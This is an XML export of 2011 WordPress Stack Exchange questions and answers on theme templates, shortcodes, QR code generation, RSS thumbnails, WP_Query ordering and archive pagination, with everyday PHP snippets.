  <row Id="21156" PostTypeId="2" ParentId="21152" CreationDate="2011-06-27T04:52:56.903" Score="3" ViewCount="" Body="&lt;p&gt;It doesn't, in the top right under screen options it says, &lt;strong&gt;Show on screen&lt;/strong&gt;, you can set this to a max of 999 ( I have never tried 999 just fyi) and you can select all, then bulk actions---&gt;edit---&gt;apply.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I think there are plugins that do this that use direct &lt;code&gt;wpdb&lt;/code&gt; functions, so you can effectively do it to more posts at once.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-06-27T04:58:34.293" LastActivityDate="2011-06-27T04:58:34.293" CommentCount="5" />
  <row Id="21157" PostTypeId="2" ParentId="21153" CreationDate="2011-06-27T04:56:49.670" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/simple-popup-plugin/screenshots/&quot; rel=&quot;nofollow&quot;&gt;Simple Popup Plugin&lt;/a&gt; . this plugin helps to made external links open..&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-popup-scheduler/&quot; rel=&quot;nofollow&quot;&gt;WordPress Popup Scheduler&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-27T04:56:49.670" CommentCount="1" />
  <row Id="21159" PostTypeId="1" CreationDate="2011-06-27T05:10:11.467" Score="0" ViewCount="82" Body="&lt;p&gt;I have my Reading settings set to Static pages and blog is set to a page called What's New.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to this What's New page I can see the post content but the post title with link to post page is not displaying. I can only see the post content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done everything I can think of to find the error, with no luck, please help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code for index.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;content&quot; class=&quot;narrowcolumn&quot; role=&quot;main&quot;&amp;gt;&#xA;    &amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;        &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;            &amp;lt;div &amp;lt;?php post_class(); ?&amp;gt; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;&amp;lt;?php printf(__('Permanent Link to %s'), the_title_attribute('echo=0')); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;small&amp;gt;&amp;lt;?php the_time(__('F jS, Y')) ?&amp;gt; &amp;lt;!-- by &amp;lt;?php the_author() ?&amp;gt; --&amp;gt;&amp;lt;/small&amp;gt;&#xA;                &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;                    &amp;lt;?php the_content(__('Read the rest of this entry &amp;amp;raquo;')); ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;p class=&quot;postmetadata&quot;&amp;gt;&amp;lt;?php the_tags(__('Tags:') . ' ', ', ', '&amp;lt;br /&amp;gt;'); ?&amp;gt; &amp;lt;?php printf(__('Posted in %s'), get_the_category_list(' ')); ?&amp;gt; | &amp;lt;?php edit_post_link(__('Edit'), '', ' | '); ?&amp;gt;  &amp;lt;?php comments_popup_link(__('No Comments &amp;amp;#187;'), __('1 Comment &amp;amp;#187;'), __('% Comments &amp;amp;#187;''), '', __('Comments Closed') ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if it's relevant but I have the  commented out on the page template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code for whats-new.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;    &amp;lt;div class=&quot;post&quot; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;h1&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;            &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;                &amp;lt;?php the_content(''); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope someone can help! If you have any ideas they're much appreciated. I've tried removing parts of my functions file, making the blog the home page under settings, and so other stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2770" LastEditorUserId="2770" LastEditorDisplayName="" LastEditDate="2011-06-27T23:53:32.670" LastActivityDate="2011-06-27T23:53:32.670" Title="Blog Posts not showing title" Tags="&lt;posts&gt;&lt;title&gt;&lt;blog&gt;&lt;blog-page&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="21161" PostTypeId="2" ParentId="20912" CreationDate="2011-06-27T05:35:52.753" Score="2" ViewCount="" Body="&lt;p&gt;I think I have a workable solution on what I was trying to do. This works but is there a better way? Also are there any implications I should be aware of when using $_GET? Didn't realize it would be this easy :) perhaps I'm missing something.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $view = $_GET[&quot;view&quot;]; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then if the URL is domain.com/page/?view=list I use an IF statement inside the loop to modify the markup as required:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( $view == &quot;list&quot; ) : ?&amp;gt;&#xA;&#xA;    // code here for list view&#xA;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;&#xA;    // code here for normal default view&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4999" LastActivityDate="2011-06-27T05:35:52.753" CommentCount="2" />
  <row Id="21162" PostTypeId="2" ParentId="15771" CreationDate="2011-06-27T06:46:11.940" Score="0" ViewCount="" Body="&lt;p&gt;If your friend want to start learning HTML I suggest he uses a simple HTML editor software first, not a CMS like Wordpress. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example with &lt;a href=&quot;http://www.bluegriffon.org/&quot; rel=&quot;nofollow&quot;&gt;Bluegriffon&lt;/a&gt; he can make his first pages and test them locally in the browser. Also he can switch between code view (nicely formatted and unfiltered, unlike in WP) and WYSIWYG, allowing him to understand how one influences the other. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Making his first steps that way will be much faster and profitable in the long run in my opinion.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-27T06:46:11.940" />
  <row Id="21163" PostTypeId="1" AcceptedAnswerId="21164" CreationDate="2011-06-25T03:56:12.477" Score="0" ViewCount="58" Body="&lt;p&gt;I am new in WordPress, I want to write short code with parameters in function. That is in &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_shortcode('short code name','function name','parameter1,parameter2');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;add_shortcode()&lt;/code&gt;, I want to pass parameters and this must get in function used for creating short code. Here is the function &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function function name('parameter1','parameter2') {&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;how is it possible?&lt;/p&gt;&#xA;" LastEditorUserId="5871" LastEditorDisplayName="" LastEditDate="2011-06-28T04:15:30.227" LastActivityDate="2011-06-28T04:15:30.227" Title="how to write short code in word press" Tags="&lt;shortcode&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="21164" PostTypeId="2" ParentId="21163" CreationDate="2011-06-25T04:33:39.623" Score="1" ViewCount="" Body="&lt;p&gt;According to &lt;a href=&quot;http://codex.wordpress.org/Shortcode_API&quot; rel=&quot;nofollow&quot;&gt;the WordPress documentation&lt;/a&gt;, &quot;a minimal example of the PHP code required to create shortcode with attributes&quot; is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// [bartag foo=&quot;foo-value&quot;]&#xA;function bartag_func( $atts ) {&#xA;    extract( shortcode_atts( array(&#xA;        'foo' =&amp;gt; 'something',&#xA;        'bar' =&amp;gt; 'something else',&#xA;    ), $atts ) );&#xA;&#xA;    return &quot;foo = {$foo}&quot;;&#xA;}&#xA;add_shortcode( 'bartag', 'bartag_func' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can find more detailed information on creating shortcodes in the above referenced documentation.&lt;/p&gt;&#xA;" OwnerUserId="5871" LastActivityDate="2011-06-25T04:33:39.623" CommentCount="1" />
  <row Id="21165" PostTypeId="2" ParentId="21159" CreationDate="2011-06-27T07:17:01.903" Score="1" ViewCount="" Body="&lt;p&gt;Remove the &lt;code&gt;&amp;lt;!-- --&amp;gt;&lt;/code&gt; in &lt;code&gt;&amp;lt;!--&amp;lt;h1&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;--&amp;gt;&lt;/code&gt; these are html comments so it won't get displayed.&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2011-06-27T07:17:01.903" CommentCount="1" />
  <row Id="21166" PostTypeId="1" AcceptedAnswerId="21167" CreationDate="2011-06-27T07:31:47.177" Score="1" ViewCount="29" Body="&lt;p&gt;I have about 1500 posts I want to change category for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a quick way to do this in Wordpress Admin?&lt;/p&gt;&#xA;" OwnerUserId="3206" LastActivityDate="2011-06-27T07:56:17.750" Title="Migrate posts into a different category" Tags="&lt;categories&gt;" AnswerCount="1" />
  <row Id="21167" PostTypeId="2" ParentId="21166" CreationDate="2011-06-27T07:56:17.750" Score="1" ViewCount="" Body="&lt;p&gt;No quick way exists in the WordPress admin for 1500 posts, the better way would be to do it with MySQL directly either by custom queries and updated or by PhpMyAdmin and his friends.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-27T07:56:17.750" CommentCount="3" />
  <row Id="21168" PostTypeId="2" ParentId="21144" CreationDate="2011-06-27T07:59:34.060" Score="2" ViewCount="" Body="&lt;p&gt;More of a php question but i use &lt;a href=&quot;http://php.net/manual/es/function.ucfirst.php&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;ucfirst&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-06-27T07:59:34.060" />
  <row Id="21169" PostTypeId="2" ParentId="13789" CreationDate="2011-06-27T08:53:50.553" Score="-2" ViewCount="" Body="&lt;p&gt;i can recommend u this one &lt;a href=&quot;http://www.geovid.com/flash_slideVidShow/&quot; rel=&quot;nofollow&quot;&gt;http://www.geovid.com/flash_slideVidShow/&lt;/a&gt;, it's great and simple&lt;/p&gt;&#xA;" OwnerUserId="6520" LastActivityDate="2011-06-27T08:53:50.553" CommentCount="1" />
  <row Id="21170" PostTypeId="1" CreationDate="2011-06-27T09:30:39.460" Score="0" ViewCount="50" Body="&lt;p&gt;in wordpress-admin, i'm using the default option for permalinks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mysite.com/?p=123&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but for some strange reason i'm getting this setting is being ignored and wordpress is using &quot;day and name&quot; instead like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mysite.com/2011/06/27/sample-post/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any ideas what could be wrong?&lt;/p&gt;&#xA;" OwnerUserId="3030" LastActivityDate="2011-08-27T03:35:16.737" Title="global permalink setting not working as expected" Tags="&lt;permalinks&gt;&lt;404-error&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="21171" PostTypeId="2" ParentId="21154" CreationDate="2011-06-27T09:46:27.157" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;blogs.dir&lt;/code&gt; was the way to handle specific blog plugins and themes when it was WordPress-MU&#xA;but since version 3 came out and the WordPress-MU was integrated into WordPress Core and introduced WordPress Multisite, that's no longer the story.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress Handles the creation of the new blogs/sites in the database and mainly in the background so you won't see too many things changing, but it also includes a new menu in the admin &quot;Super Admin&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/ppMCm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which lets you handle the content for all sites in one place and they all site in one place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so basically WordPress handle this issue of `blogs.dir' for you.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-27T09:46:27.157" />
  <row Id="21172" PostTypeId="1" AcceptedAnswerId="21176" CreationDate="2011-06-27T10:00:58.800" Score="1" ViewCount="45" Body="&lt;p&gt;I am having vendor address field for each post using custom field plugin.&#xA;In single post page.I want to generate bar code.When its scanned by mobile phone.It should display the address of the vendor in text format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any existing plugin.Or any gold suggestions are appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance ! &lt;/p&gt;&#xA;" OwnerUserId="4022" LastActivityDate="2011-06-27T11:07:30.330" Title="plugin suggestion for barcode" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="21174" PostTypeId="1" AcceptedAnswerId="21178" CreationDate="2011-06-27T10:58:55.487" Score="2" ViewCount="137" Body="&lt;p&gt;This seems to be an easy one but its giving me quite a hard time. &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_post_thumbnail&quot; rel=&quot;nofollow&quot;&gt;get_the_post_thumbnail()&lt;/a&gt; suppose to take attribute as an array. Well, everything working right but when i pass style attr its doesn't work. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$attr = array(&#xA;                                'title' =&amp;gt; get_the_title(),&#xA;                                'alt' =&amp;gt; get_the_title(),&#xA;                                'style' =&amp;gt; 'float:left'&#xA;                            );&#xA;&#xA;$thumb = get_the_post_thumbnail($post-&amp;gt;ID, 'large-thumb', $attr);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The title and the alt attribute is set up nicely though but style attribute is missing in images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI: I am showing the thumbnail in rss feed.&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-06-27T12:24:09.517" Title="get_the_post_thumbnail() doesn't taking style attribute" Tags="&lt;attachments&gt;&lt;post-thumbnails&gt;" AnswerCount="1" />
  <row Id="21175" PostTypeId="2" ParentId="21172" CreationDate="2011-06-27T10:59:47.530" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wcs-qr-code-generator/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wcs-qr-code-generator/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems like a good one. It just uses a shortcode for you to place the bar code wherever you like, the default makes a code for the post url, but you can specify a specific url to your vendor or whatever in the shortcode it looks like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't tested this, but it seems to be working well for others. I'm not sure if it can be configured to grab the address from the custom field..... but it seems simle enough to add the address for yourself if that is acceptable&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-06-27T10:59:47.530" />
  <row Id="21176" PostTypeId="2" ParentId="21172" CreationDate="2011-06-27T11:07:30.330" Score="2" ViewCount="" Body="&lt;p&gt;No need for a plugin if you use the Google Chart tool api its very simple, &#xA;i have a function that i wrote a while back:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;* function to get QR code Image from google chart API&#xA;* @Params:&#xA;* $content - (string) the content to store inside the QR code (eg: url,address,string..)&#xA;* $size - (string) the size of the QR code image , must be in heightxwidth format(eg: 150x150 , 320x320)&#xA;* $ImgTag - (bool) if set to true the function will echo out the full img tag of QR code image , &#xA;*           if false then the function will return the image src (default = true)&#xA;*/&#xA;&#xA;function get_QR_code($content = null,$size = null,$ImgTag = true){&#xA;    if ($size == null){&#xA;        $size = '150x150';&#xA;    }&#xA;    if ($ImgTag){&#xA;        echo '&amp;lt;img src=&quot;http://chart.apis.google.com/chart?cht=qr&amp;amp;chs='.$size.'&amp;amp;choe=UTF-8&amp;amp;chld=H&amp;amp;chl='.$content .'&quot;&amp;gt;';&#xA;    }else{&#xA;        return 'http://chart.apis.google.com/chart?cht=qr&amp;amp;chs='.$size.'&amp;amp;choe=UTF-8&amp;amp;chld=H&amp;amp;chl='.$content;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Usage:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_QR_code('Hello form Google API'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which will give you this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/KhtTo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So once you have this function in your theme's functions.php file you can call it in your template and pass the custom field value as the content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$qr_content = get_post_meta($post-&amp;gt;ID,'vendor_address_field_name',true);&#xA;get_QR_code($qr_content);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-27T11:07:30.330" CommentCount="2" />
  <row Id="21177" PostTypeId="1" CreationDate="2011-06-27T11:12:33.593" Score="1" ViewCount="94" Body="&lt;p&gt;I'm using the following code from this answer:&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/15230/how-can-i-get-the-last-posts-by-user-role&quot;&gt;How can I get the last posts by user role ?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$friends = get_users( array( 'role' =&amp;gt; 'friends' ) );&#xA;$friend_ids = array();&#xA;&#xA;foreach( $friends as $friend ) &#xA;    $friend_ids[] = $friend-&amp;gt;ID;&#xA;&#xA;$news = new WP_Query( array( 'author' =&amp;gt; implode( ',', $friend_ids ), 'post_type' =&amp;gt; 'news', 'paged' =&amp;gt; get_query_var('paged') ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've added another WP role to the array so it grabs both. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$friends = get_users( array( 'role' =&amp;gt; 'friends, enemies' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to now order the posts somehow by the role? so it displays all the friends first, followed by all the enemies etc. At the moment, it lists them all mumbo jumbo as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: sorry, probably shouldn't have set up another question, not sure why I did that. Is it possible to do this without using custom fields?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I've found with custom fields is that If a user changed roles (due to membership levels) then the posts would not be ordered correctly until the post (from the author who changed) was saved with it's new custom field value. &lt;/p&gt;&#xA;" OwnerUserId="4999" LastEditorUserId="4999" LastEditorDisplayName="" LastEditDate="2011-06-27T12:28:15.367" LastActivityDate="2011-06-27T12:28:15.367" Title="How to order posts in wp_query by the user role (2 roles in array)" Tags="&lt;wp-query&gt;&lt;user-roles&gt;" AnswerCount="1" />
  <row Id="21178" PostTypeId="2" ParentId="21174" CreationDate="2011-06-27T11:14:29.263" Score="4" ViewCount="" Body="&lt;p&gt;&lt;code&gt;get_the_post_thumbnail&lt;/code&gt; attribute array doesn't know &lt;code&gt;STYLE&lt;/code&gt; , the fields that are available for you to use are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;src&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;class&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;alt&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;title&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;so just use the class and define you class to it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$attr = array(&#xA;                                'title' =&amp;gt; get_the_title(),&#xA;                                'alt' =&amp;gt; get_the_title(),&#xA;                                'class' =&amp;gt; 'rss_thumb'&#xA;                            );&#xA;$thumb = get_the_post_thumbnail($post-&amp;gt;ID, 'large-thumb', $attr);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then define the style in the class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;&#xA;.rss_thumb{float:left}&#xA;&amp;lt;/style&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;My bad rss feed can really be styled like HTML since its not HTML. so to over come this problem you need to have your image inside the content tag and give it an align=&quot;left&quot; which should work in most rss readers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so what you really want is to add a content_filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_content','add_rss_thumb');&#xA;&#xA;function add_rss_thumb($content){&#xA;    if (!is_feed()){&#xA;        return $content;&#xA;    }&#xA;&#xA;    //now that we know is a feed we add the image to the content:&#xA;    global $post;&#xA;    if(has_post_thumbnail()) {&#xA;        $post_thumbnail_id = get_post_thumbnail_id( $post-&amp;gt;ID );&#xA;        $thumbnail_attributes = wp_get_attachment_image_src( $post_thumbnail_id );&#xA;        /*&#xA;            $thumbnail_attributes is an array containing: &#xA;            [0] =&amp;gt; url&#xA;            [1] =&amp;gt; width&#xA;            [2] =&amp;gt; height &#xA;        */&#xA;&#xA;        return '&amp;lt;img src=&quot;'.thumbnail_attributes[0].'&quot; title=&quot;'.the_title_attribute('','',0).'&quot; alt=&quot;'.the_title_attribute('','',0).'&quot; align=&quot;left&quot;&amp;gt;'.$content;&#xA;    }&#xA;    return $content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-27T12:24:09.517" LastActivityDate="2011-06-27T12:24:09.517" CommentCount="5" />
  <row Id="21179" PostTypeId="2" ParentId="21177" CreationDate="2011-06-27T11:21:26.963" Score="2" ViewCount="" Body="&lt;p&gt;Its possible with an ugly custom query but to save your self a lot of time an easier solution would be to add a custom field to each post with the user role , then your query would be much smoother for example say you have a custom field named `u_role' then your query should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$news = new WP_Query( array(&#xA;    'author' =&amp;gt; implode( ',', $friend_ids ),&#xA;    'post_type' =&amp;gt; 'news', &#xA;    'paged' =&amp;gt; get_query_var('paged'),&#xA;    'meta_key' =&amp;gt; 'u_role',&#xA;    'orderby' =&amp;gt; 'meta_value', &#xA;    'order' =&amp;gt; 'DESC') ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-27T11:21:26.963" CommentCount="3" />
  <row Id="21180" PostTypeId="2" ParentId="21170" CreationDate="2011-06-27T11:33:11.197" Score="0" ViewCount="" Body="&lt;p&gt;What's in your &lt;code&gt;.htaccess&lt;/code&gt; file? Is it WordPress-writeable? Does it still have legacy rewrite rules that might be taking effect?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-27T11:33:11.197" />
  <row Id="21181" PostTypeId="1" CreationDate="2011-06-27T11:58:57.727" Score="2" ViewCount="350" Body="&lt;p&gt;I have a custom post type called &lt;code&gt;video&lt;/code&gt;. Would like to paginate its archive page, showing &lt;strong&gt;only 3 posts&lt;/strong&gt; on each page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a custom loop on the archive page that outputs &lt;strong&gt;all&lt;/strong&gt; the video posts (for a thumbnail gallery).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the &lt;code&gt;archive-video.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php while( have_posts() ) : the_post(); ?&amp;gt;&#xA;    MAIN LOOP...&#xA;&amp;lt;?php endwhile; wp_reset_query(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php next_posts_link(); previous_posts_link(); &amp;gt;&#xA;&#xA;&amp;lt;?php $custom_loop = new WP_Query( array('post_type' =&amp;gt; 'video', 'posts_per_page' =&amp;gt; '-1' ) );&#xA;&amp;lt;?php while ( $custom_loop-&amp;gt;have_posts() ) : $custom_loop-&amp;gt;the_post(); ?&amp;gt;&#xA;    CUSTOM LOOP...&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried to set the &lt;code&gt;posts_per_page&lt;/code&gt; to 3 using &lt;code&gt;pre_get_posts&lt;/code&gt; &lt;a href=&quot;http://mondaybynoon.com/2011/05/16/wordpress-posts-per-page-per-custom-post-type/&quot; rel=&quot;nofollow&quot;&gt;(code here)&lt;/a&gt;. The pagination would work perfectly, but the custom loop now outputs only 3 posts and not all the posts!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone with a hard-coded/non-plugin solution? Have been googling to no avail... Any advice/help would be most appreciated!!!&lt;/p&gt;&#xA;" OwnerUserId="6524" LastEditorUserId="6524" LastEditorDisplayName="" LastEditDate="2011-06-27T12:04:31.523" LastActivityDate="2011-07-27T14:31:30.383" Title="Custom Post Type Archive Page: Set Posts Per Page, Paginate" Tags="&lt;custom-post-types&gt;&lt;pagination&gt;&lt;archive&gt;&lt;custom-loop&gt;" AnswerCount="2" />
  <row Id="21182" PostTypeId="2" ParentId="18541" CreationDate="2011-06-27T12:09:08.663" Score="1" ViewCount="" Body="&lt;p&gt;I think &lt;a href=&quot;http://wordpress.org/extend/plugins/search-engine/&quot; rel=&quot;nofollow&quot;&gt;Search Engine&lt;/a&gt; works by indexing front-end pages.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-27T12:09:08.663" CommentCount="1" />
  <row Id="21183" PostTypeId="2" ParentId="21181" CreationDate="2011-06-27T12:12:02.023" Score="1" ViewCount="" Body="&lt;p&gt;Try &lt;code&gt;'paged' =&amp;gt; $paged,&lt;/code&gt; after &lt;code&gt;new WP_Query( array('post_type' =&amp;gt; 'video',&lt;/code&gt; and change &lt;code&gt;'posts_per_page' =&amp;gt; '-1'&lt;/code&gt; to &lt;code&gt;'posts_per_page' =&amp;gt; '3'&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-06-27T12:12:02.023" />
  <row Id="21184" PostTypeId="2" ParentId="21144" CreationDate="2011-06-27T12:19:53.933" Score="5" ViewCount="" Body="&lt;p&gt;As an alternative way - you can just use CSS styling for taxonomy links, might work too. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;text-transform:capitalize;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6525" LastActivityDate="2011-06-27T12:19:53.933" CommentCount="2" />
  <row Id="21185" PostTypeId="1" AcceptedAnswerId="21229" CreationDate="2011-06-27T12:29:43.437" Score="0" ViewCount="140" Body="&lt;p&gt;I'm Using  E-commerce featured product plugin.in this plugin we have a options to select a single product from product list but not able to select multiple options at same time.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;so any suggest to improve this plugin?&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-27T21:49:54.010" Title="wp E-commerce featured product plugin with muliple option?" Tags="&lt;plugin-development&gt;" AnswerCount="1" CommentCount="3" />
